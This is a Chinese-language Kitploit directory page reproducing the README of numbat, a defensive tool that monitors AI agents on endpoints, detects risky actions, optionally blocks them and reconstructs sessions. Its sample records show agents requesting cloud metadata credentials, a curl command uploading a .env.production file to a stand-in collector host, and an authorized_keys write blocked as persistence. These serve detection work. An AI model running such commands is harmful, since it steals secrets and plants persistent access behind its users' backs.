Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
numbat — 对端点上 AI 代理活动的可见性,具备设备端检测、可选的操作前阻断以及取证重建能力。 | Kitploit
工具/GitHubGitHub/perplexityai/numbat
防御工具危害指标 (IOC) 管理脚本与自动化数字取证威胁情报入侵检测事件响应AI 安全异常检测日志分析
GitHubperplexityai/numbat

numbat

1.1k116243天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

对端点上 AI 代理活动的可见性,具备设备端检测、可选的操作前阻断以及取证重建能力。

查看仓库

numbat

对 AI 代理活动的端点可见性,具备本地检测、可选的操作前阻断以及取证重建能力。

numbat 通过本地钩子和插件、OTLP/HTTP 日志以及磁盘上的会话产物,观测受支持的桌面、CLI、IDE 和网关代理。实时和静态活动被归一化为统一的事件模型,并由同一个 CEL 规则引擎进行评估。检测在本地运行;记录可以写入 stdout 或本地文件,并可选地通过 HTTP 投递。

覆盖矩阵是每个主机和表面的权威依据。阻断默认关闭,且仅限于受支持的同步操作前钩子;参见执行指南。

功能特性

  • 实时监控,通过钩子、插件和 OTLP/HTTP 日志导出器实现。
  • 端点本地检测,具备内置 CEL 规则、多步序列规则和自定义 YAML 规则。
  • 可选阻断,通过受支持的操作前钩子实现。执行模式默认禁用,且仅适用于标记为 enforce: true 的规则;所有随附规则均为仅监控。
  • 取证重建,基于受支持的磁盘会话产物,无需事先进行 numbat 插桩。
  • 版本化 NDJSON 记录,用于事件、发现、执行决策、指标和扫描摘要。事件和发现保留来源引用;JSON Schema 定义了传输格式。
  • 只读产物扫描,具备机密信息脱敏。常规记录输出绝不包含完整的原始记录;将原始证据文件添加到案件包中是可选操作。
  • 清单与调查工具,用于只读代理发现、按会话时间线以及带 SHA-256 清单的可移植案件包。
  • 单二进制分发,适用于 macOS、Linux 和 Windows,构建时不依赖 cgo。

快速开始

安装

下载发行版,适用于 macOS、Linux 或 Windows 的 amd64 或 arm64 架构。每个发行版都包含 SHA-256 校验和。你也可以使用 Go 1.26.6 或更高版本进行安装:

go install github.com/perplexityai/numbat/cmd/numbat@latest
从检出构建静态二进制文件

macOS 或 Linux:

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

Windows PowerShell:

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

清单与扫描

这些只读命令不会安装钩子或更改代理配置:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

监控与执行

为任何具有实时捕获支持的代理安装实时监控;以下命令以 Codex 作为具体示例。钩子以仅监控模式启动。--emit all 将事件、发现、指标和适用的执行决策写入 ~/.numbat/records.ndjson。

numbat hook install --agent codex --emit all
numbat hook status --agent codex

钩子信任: 要求因代理和范围而异。对于上述 Codex 用户钩子,请在 /hooks(CLI)或 Settings > Hooks(应用)中审查并信任其当前定义,包括在诸如 --enforce 等更改之后。使用 --managed 安装的 Codex 钩子按策略受信任。hook status 验证的是配置,而非执行或投递。有关其他代理和范围,请参见部署指南。

所有随附规则均为仅监控。要执行某项检测,请将其完整的随附 YAML 复制到受控的操作员目录中,保持相同的 id,添加 enforce: true,并提升其版本。验证并为受支持的操作前钩子安装该有效策略:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

输出示例

钩子事件(OpenClaw 云元数据浏览器请求)

一个受控的 OpenClaw before_tool_call 回调通过 numbat 生成的插件传递,成为一个类型化的网络事件,包含其提议的目标和执行上下文。它同时匹配高严重性的云元数据规则。

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.4.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
序列发现(Claude Code 钩子序列)

对同一会话中两个符合契约的 Claude Code 操作前回调进行受控重放——先访问机密文件,然后提议上传——产生了此发现。该规则也会在产物扫描期间运行;该发现并不证明任一操作已完成。

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.4.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}
执行决策(Codex authorized_keys 写入)

在操作员以相同 id 替换 persistence.ssh_authorized_keys 并标记为 enforce: true、版本为 1.3 的情况下,一个 Codex create_file 操作前匹配了该规则,numbat 选择了特定于代理的拒绝响应。有关投递和执行语义,请参见决策。

{
  "action_event_ids": [
    "hook-run-20260724T134723.452402000-6886c86cefad57b8"
  ],
  "decision": "deny",
  "decision_id": "enf-5132cfdb6ae4d57350ec734d",
  "deny_rule_id": "persistence.ssh_authorized_keys",
  "deny_rule_version": "1.3",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "finding_ids": [
    "fnd-f467992648daec0a927b6de7"
  ],
  "mode": "enforce",
  "model": "gpt-5.6-codex",
  "reason": "enforce_rule_match",
  "record_type": "enforcement",
  "rule_ids": [
    "persistence.ssh_authorized_keys"
  ],
  "run_id": "run-20260724T134723.452402000-6886c86cefad57b8",
  "schema_version": "0.4.0",
  "session_id": "sess-doc-codex-enforce-01",
  "source_agent": "codex",
  "source_type": "hook",
  "timestamp": "2026-07-24T13:47:23.502411Z",
  "tool_call_id": "tool-doc-codex-enforce-01",
  "tool_name": "create_file"
}

有关其他检测到的行为,请参见内置规则目录。

CLI 参考定义了完整的记录契约、标志和接收器。有关推出模式输出持久性,请参见 docs/deployment.md。

命令概览

  • 清单与调查:agents、scan 和 timeline
  • 实时捕获:hook install、hook status、hook uninstall 和 collect
  • 记录投递:ship
  • 规则开发:rules check、rules list 和 rules test
  • 案件包:case build 和 case verify

运行 numbat --help 获取完整命令列表,或运行 numbat help <command> 获取标志说明。有关记录模式、接收器和退出码,请参见 CLI 参考。

scan、collect、hook EVENT、hook install 和 rules check|list|test 接受 --rules-dir DIR(可重复)以添加操作员规则或按 id 替换嵌入规则。 使用 --no-builtin-rules 以获得仅操作员目录。完整的标志和输出参考:docs/cli.md。

文档

下载工具